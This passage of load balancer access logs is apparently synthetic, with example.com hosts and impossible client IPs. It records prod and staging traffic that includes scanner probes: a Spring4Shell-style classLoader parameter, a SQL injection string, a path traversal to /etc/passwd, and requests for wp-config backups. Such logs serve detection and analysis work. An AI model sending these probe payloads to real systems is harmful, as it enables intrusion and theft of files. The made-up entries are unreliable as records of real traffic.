(Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c69a-1be34222fc9a4e369e3ba52f" "staging-alb.example.com" "-" 7 2024-11-01T01:04:10.169249Z "forward" "-" "-" "208.201.221.40:80" "302" "-" "-" -https 2024-11-01T01:04:11.805936Z prod-api-alb 178.20.97.100:43014 10.0.167.117:443 0.040733 0.428674 0.005946 302 302 648 4546 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c69b-b7d9f8a052274b83a098688e" "prod-api-alb.example.com" "-" 8 2024-11-01T01:04:11.805936Z "forward" "-" "-" "10.0.167.117:443" "302" "-" "-" -https 2024-11-01T01:04:13.403216Z prod-api-alb 239.92.203.221:62749 10.0.205.170:443 0.040638 0.175255 0.030077 200 200 349 13239 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c69d-b15952a2f35a4678b7a0b9f7" "prod-api-alb.example.com" "-" 2 2024-11-01T01:04:13.403216Z "forward" "-" "-" "10.0.205.170:443" "200" "-" "-" -http 2024-11-01T01:04:14.633351Z staging-alb 231.90.173.55:26073 134.37.96.227:443 0.048772 0.105839 0.065766 200 200 423 14579 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c69e-e721c30fa0d34b94a55e96af" "staging-alb.example.com" "-" 9 2024-11-01T01:04:14.633351Z "forward" "-" "-" "134.37.96.227:443" "200" "-" "-" -https 2024-11-01T01:04:15.866710Z prod-web-alb 173.81.170.30:38923 10.0.147.194:443 0.052480 0.013469 0.071011 301 301 988 6988 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c69f-920f8d53d0694902a38930c0" "prod-web-alb.example.com" "-" 3 2024-11-01T01:04:15.866710Z "forward" "-" "-" "10.0.147.194:443" "301" "-" "-" -https 2024-11-01T01:04:16.669634Z staging-alb 39.191.162.205:63109 188.208.213.23:8080 0.001911 0.489965 0.041205 200 200 884 13590 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6a0-2d1adaf3ed834d17bfb8ce62" "staging-alb.example.com" "-" 9 2024-11-01T01:04:16.669634Z "forward" "-" "-" "188.208.213.23:8080" "200" "-" "-" -https 2024-11-01T01:04:17.247441Z prod-web-alb 72.63.155.198:43682 10.0.192.39:443 0.008306 0.045435 0.073625 302 302 709 11195 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6a1-7ffce8bc91144bd09c68e4b7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:04:17.247441Z "forward" "-" "-" "10.0.192.39:443" "302" "-" "-" -https 2024-11-01T01:04:18.168419Z prod-api-alb 150.66.193.162:60949 10.0.197.11:443 0.032570 0.363435 0.040888 302 302 456 6758 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6a2-4d07d364cdd3411799754a3c" "prod-api-alb.example.com" "-" 6 2024-11-01T01:04:18.168419Z "forward" "-" "-" "10.0.197.11:443" "302" "-" "-" -https 2024-11-01T01:04:19.691844Z staging-alb 177.23.233.128:39245 168.192.88.92:443 0.086200 0.318844 0.104751 200 200 410 8601 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6a3-fa275fc968334af2835ef301" "staging-alb.example.com" "-" 5 2024-11-01T01:04:19.691844Z "forward" "-" "-" "168.192.88.92:443" "200" "-" "-" -https 2024-11-01T01:04:21.365084Z prod-web-alb 45.155.205.44:25358 10.0.26.17:443 0.095770 0.156498 0.028300 404 404 404 1423 "GET /debug/pprof HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6a5-b077d30866644a4ab309cfdc" "-" "-" 3 2024-11-01T01:04:21.365084Z "forward" "-" "-" "10.0.26.17:443" "404" "-" "-" -https 2024-11-01T01:04:22.279022Z prod-api-alb 62.178.196.5:50211 10.0.129.108:443 0.048358 0.055788 0.087799 301 301 852 14813 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6a6-1ec3cfa81bfb4bcc915e2316" "prod-api-alb.example.com" "-" 0 2024-11-01T01:04:22.279022Z "forward" "-" "-" "10.0.129.108:443" "301" "-" "-" -https 2024-11-01T01:04:24.200412Z prod-api-alb 193.27.228.126:27947 10.0.133.44:443 0.089474 0.144124 0.008732 403 403 205 7867 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6a8-43f31fe2f868400ab62644b5" "-" "-" 6 2024-11-01T01:04:24.200412Z "forward" "-" "-" "10.0.133.44:443" "403" "-" "-" -https 2024-11-01T01:04:25.598103Z prod-api-alb 244.11.11.195:24698 10.0.99.184:443 0.013222 0.089546 0.075164 200 200 755 2697 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6a9-dd257a55843649d1bd7cde85" "prod-api-alb.example.com" "-" 6 2024-11-01T01:04:25.598103Z "forward" "-" "-" "10.0.99.184:443" "200" "-" "-" -https 2024-11-01T01:04:27.354447Z prod-web-alb 161.9.125.18:41297 10.0.40.87:443 0.082861 0.429354 0.004488 301 301 866 8926 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6ab-7cabf1481b4e497a912bb52b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:04:27.354447Z "forward" "-" "-" "10.0.40.87:443" "301" "-" "-" -https 2024-11-01T01:04:27.931239Z prod-web-alb 32.39.243.85:41577 10.0.76.231:443 0.085670 0.220559 0.007517 200 200 817 8106 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ab-48b2aa20e7634325b4ca635a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:04:27.931239Z "forward" "-" "-" "10.0.76.231:443" "200" "-" "-" -https 2024-11-01T01:04:29.900149Z prod-api-alb 189.40.82.247:47354 10.0.31.162:443 0.041397 0.350119 0.010237 301 301 335 4406 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6ad-8b804d1a9e4f4613a90fd0eb" "prod-api-alb.example.com" "-" 0 2024-11-01T01:04:29.900149Z "forward" "-" "-" "10.0.31.162:443" "301" "-" "-" -https 2024-11-01T01:04:30.260348Z staging-alb 185.181.73.18:64052 94.174.64.69:443 0.114945 0.488357 0.031082 401 401 435 13626 "POST /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6ae-d96587b0ce0b4fe68b24c984" "-" "-" 10 2024-11-01T01:04:30.260348Z "forward" "-" "-" "94.174.64.69:443" "401" "-" "-" -https 2024-11-01T01:04:30.980049Z prod-web-alb 111.60.178.70:28129 10.0.65.209:443 0.028829 0.043158 0.057362 301 301 928 12053 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ae-b044544ad8a3498886816c2f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:04:30.980049Z "forward" "-" "-" "10.0.65.209:443" "301" "-" "-" -https 2024-11-01T01:04:31.859876Z staging-alb 170.237.252.32:17105 142.192.62.1:8080 0.032171 0.171980 0.031950 200 200 248 12394 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6af-487c879e724c4bd7b0d3bdfa" "staging-alb.example.com" "-" 5 2024-11-01T01:04:31.859876Z "forward" "-" "-" "142.192.62.1:8080" "200" "-" "-" -http 2024-11-01T01:04:33.171301Z staging-alb 185.181.183.244:47130 197.51.160.246:80 0.077169 0.071679 0.091431 200 200 280 5544 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6b1-6b5d7507316b45ba985f1003" "-" "-" 7 2024-11-01T01:04:33.171301Z "forward" "-" "-" "197.51.160.246:80" "200" "-" "-" -https 2024-11-01T01:04:34.270779Z prod-web-alb 198.255.253.155:48333 10.0.155.134:443 0.066372 0.027849 0.095340 200 200 753 13605 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6b2-28ade82fa60e489d9fb97a6a" "prod-web-alb.example.com" "-" 0 2024-11-01T01:04:34.270779Z "forward" "-" "-" "10.0.155.134:443" "200" "-" "-" -https 2024-11-01T01:04:36.213894Z prod-api-alb 68.192.205.173:54068 10.0.243.91:443 0.080163 0.178138 0.078308 302 302 897 7474 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6b4-a0c8a254ecbe466eb9d0662d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:04:36.213894Z "forward" "-" "-" "10.0.243.91:443" "302" "-" "-" -https 2024-11-01T01:04:38.165805Z staging-alb 13.61.255.67:36208 222.56.60.115:8080 0.000901 0.348523 0.047607 200 200 920 4642 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6b6-a3c729b936a5462ba319ea7e" "staging-alb.example.com" "-" 4 2024-11-01T01:04:38.165805Z "forward" "-" "-" "222.56.60.115:8080" "200" "-" "-" -http 2024-11-01T01:04:39.270806Z staging-alb 193.61.245.205:53728 186.106.73.32:80 0.077273 0.105276 0.014447 302 302 640 10875 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6b7-0275c13bb8804541943c0298" "staging-alb.example.com" "-" 4 2024-11-01T01:04:39.270806Z "forward" "-" "-" "186.106.73.32:80" "302" "-" "-" -https 2024-11-01T01:04:40.905333Z prod-api-alb 49.25.183.116:20654 10.0.75.97:443 0.015030 0.436122 0.075807 200 200 802 6706 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6b8-af01ae797940446ebdd7cf02" "prod-api-alb.example.com" "-" 3 2024-11-01T01:04:40.905333Z "forward" "-" "-" "10.0.75.97:443" "200" "-" "-" -http 2024-11-01T01:04:41.773198Z staging-alb 226.76.87.15:61865 141.67.165.176:80 0.116651 0.693027 0.140148 200 200 167 7400 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6b9-8a742f28a23e4266be6d2a52" "staging-alb.example.com" "-" 9 2024-11-01T01:04:41.773198Z "forward" "-" "-" "141.67.165.176:80" "200" "-" "-" -https 2024-11-01T01:04:42.883378Z prod-web-alb 131.220.36.198:28299 10.0.95.34:443 0.005911 0.479215 0.081777 302 302 658 5640 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6ba-9e273bb127cb434082654bc4" "prod-web-alb.example.com" "-" 9 2024-11-01T01:04:42.883378Z "forward" "-" "-" "10.0.95.34:443" "302" "-" "-" -https 2024-11-01T01:04:44.567868Z staging-alb 99.61.10.47:43388 252.13.78.174:443 0.072489 0.243583 0.003963 404 404 816 369 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6bc-cec5c5f051a74b609fee700e" "staging-alb.example.com" "-" 9 2024-11-01T01:04:44.567868Z "forward" "-" "-" "252.13.78.174:443" "404" "-" "-" -https 2024-11-01T01:04:45.349560Z prod-api-alb 52.151.98.250:60825 10.0.75.30:443 0.015804 0.120829 0.053086 301 301 238 6873 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6bd-df43a0abcce04a3fb3a74262" "prod-api-alb.example.com" "-" 6 2024-11-01T01:04:45.349560Z "forward" "-" "-" "10.0.75.30:443" "301" "-" "-" -https 2024-11-01T01:04:46.511187Z prod-web-alb 144.36.37.223:13214 10.0.237.212:443 0.009885 0.145907 0.083770 302 302 639 4881 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6be-d6dc6f836c1a4e5bb00a666f" "prod-web-alb.example.com" "-" 5 2024-11-01T01:04:46.511187Z "forward" "-" "-" "10.0.237.212:443" "302" "-" "-" -http 2024-11-01T01:04:46.621296Z staging-alb 188.139.149.249:32622 42.211.12.219:80 0.027002 0.204497 0.145816 301 301 28 7778 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6be-eacc694f05994a6981d010ad" "staging-alb.example.com" "-" 9 2024-11-01T01:04:46.621296Z "forward" "-" "-" "42.211.12.219:80" "301" "-" "-" -http 2024-11-01T01:04:47.345147Z staging-alb 4.120.141.76:42143 247.227.22.241:8080 0.033542 0.167068 0.116460 200 200 394 12071 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6bf-bd4da46c5dd843a08d64ec3f" "staging-alb.example.com" "-" 6 2024-11-01T01:04:47.345147Z "forward" "-" "-" "247.227.22.241:8080" "200" "-" "-" -http 2024-11-01T01:04:49.076900Z staging-alb 72.50.51.60:21174 2.21.96.202:80 0.115253 0.513299 0.048502 301 301 911 12320 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6c1-3f4adfc9d87942fbaa4c1ae3" "staging-alb.example.com" "-" 7 2024-11-01T01:04:49.076900Z "forward" "-" "-" "2.21.96.202:80" "301" "-" "-" -https 2024-11-01T01:04:49.380253Z prod-web-alb 189.190.48.126:49673 10.0.167.134:443 0.009607 0.028075 0.087308 301 301 279 7240 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6c1-d61acdc83a82434fbe5abfdd" "prod-web-alb.example.com" "-" 5 2024-11-01T01:04:49.380253Z "forward" "-" "-" "10.0.167.134:443" "301" "-" "-" -http 2024-11-01T01:04:50.766513Z staging-alb 4.81.129.229:22781 83.234.232.249:443 0.143540 0.671393 0.105733 200 200 794 8972 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6c2-45a6ac00a4c349dd82b25351" "staging-alb.example.com" "-" 8 2024-11-01T01:04:50.766513Z "forward" "-" "-" "83.234.232.249:443" "200" "-" "-" -http 2024-11-01T01:04:51.912520Z staging-alb 101.173.170.189:45982 70.101.249.124:80 0.100971 0.094688 0.115329 200 200 786 5760 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6c3-41a67f2a3e144173bb388b0f" "staging-alb.example.com" "-" 7 2024-11-01T01:04:51.912520Z "forward" "-" "-" "70.101.249.124:80" "200" "-" "-" -https 2024-11-01T01:04:53.391216Z prod-api-alb 1.143.46.242:49300 10.0.142.27:443 0.027045 0.337675 0.063348 200 200 213 1960 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6c5-8fe323e6f0354ad1b9745557" "prod-api-alb.example.com" "-" 9 2024-11-01T01:04:53.391216Z "forward" "-" "-" "10.0.142.27:443" "200" "-" "-" -https 2024-11-01T01:04:54.519621Z prod-api-alb 89.188.95.92:61359 10.0.156.199:443 0.043172 0.234572 0.050987 200 200 409 13682 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6c6-9c2776c1a6424a6d8488d8a0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:04:54.519621Z "forward" "-" "-" "10.0.156.199:443" "200" "-" "-" -https 2024-11-01T01:04:55.656256Z prod-web-alb 45.155.205.141:10255 10.0.135.80:443 0.098074 0.280136 0.012178 403 403 20 6923 "GET /../../../etc/passwd HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6c7-c77a14eb9ccd433b860a1be7" "-" "-" 3 2024-11-01T01:04:55.656256Z "forward" "-" "-" "10.0.135.80:443" "403" "-" "-" -https 2024-11-01T01:04:55.782708Z prod-api-alb 118.5.85.202:42974 10.0.177.49:443 0.086793 0.250671 0.056376 200 200 520 13493 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6c7-0ae1adf9cb9f415fa4c9f042" "-" "-" 4 2024-11-01T01:04:55.782708Z "forward" "-" "-" "10.0.177.49:443" "200" "-" "-" -https 2024-11-01T01:04:56.830997Z prod-web-alb 222.6.79.228:33579 10.0.158.251:443 0.079067 0.497461 0.005809 200 200 602 7920 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6c8-8f6a1d09d98b441d9d3c4001" "prod-web-alb.example.com" "-" 3 2024-11-01T01:04:56.830997Z "forward" "-" "-" "10.0.158.251:443" "200" "-" "-" -https 2024-11-01T01:04:58.731457Z prod-api-alb 158.159.122.107:29309 10.0.189.62:443 0.061083 0.356858 0.070447 404 404 411 10041 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6ca-acbb0e607f4d44e49417c0e3" "prod-api-alb.example.com" "-" 0 2024-11-01T01:04:58.731457Z "forward" "-" "-" "10.0.189.62:443" "404" "-" "-" -https 2024-11-01T01:04:59.698884Z prod-api-alb 43.215.117.150:17521 10.0.97.145:443 0.000333 0.387968 0.040651 302 302 264 5358 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6cb-159b701620314b5f8450be78" "prod-api-alb.example.com" "-" 7 2024-11-01T01:04:59.698884Z "forward" "-" "-" "10.0.97.145:443" "302" "-" "-" -https 2024-11-01T01:05:01.402802Z prod-api-alb 81.0.1.254:48298 10.0.55.240:443 0.023869 0.390067 0.059496 200 200 520 13707 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6cd-dd5f54dc602f4d2aa2ac8664" "prod-api-alb.example.com" "-" 5 2024-11-01T01:05:01.402802Z "forward" "-" "-" "10.0.55.240:443" "200" "-" "-" -https 2024-11-01T01:05:02.887382Z staging-alb 191.60.7.23:17581 114.127.143.236:8080 0.098491 0.590554 0.059368 404 404 94 8814 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6ce-15e04f0e6aff44918918a0c2" "staging-alb.example.com" "-" 6 2024-11-01T01:05:02.887382Z "forward" "-" "-" "114.127.143.236:8080" "404" "-" "-" -https 2024-11-01T01:05:03.205887Z prod-web-alb 68.120.104.113:34173 10.0.234.98:443 0.088847 0.314570 0.006463 302 302 968 9156 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6cf-abf2ba67f9c04d49a3d601e9" "prod-web-alb.example.com" "-" 6 2024-11-01T01:05:03.205887Z "forward" "-" "-" "10.0.234.98:443" "302" "-" "-" -https 2024-11-01T01:05:05.039660Z prod-api-alb 99.4.43.170:35551 10.0.86.193:443 0.088799 0.160572 0.057776 200 200 483 1691 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6d1-befa495d3d9243628aced60e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:05:05.039660Z "forward" "-" "-" "10.0.86.193:443" "200" "-" "-" -https 2024-11-01T01:05:05.864752Z prod-api-alb 182.9.253.94:62735 10.0.190.38:443 0.033199 0.391109 0.048371 301 301 88 12952 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 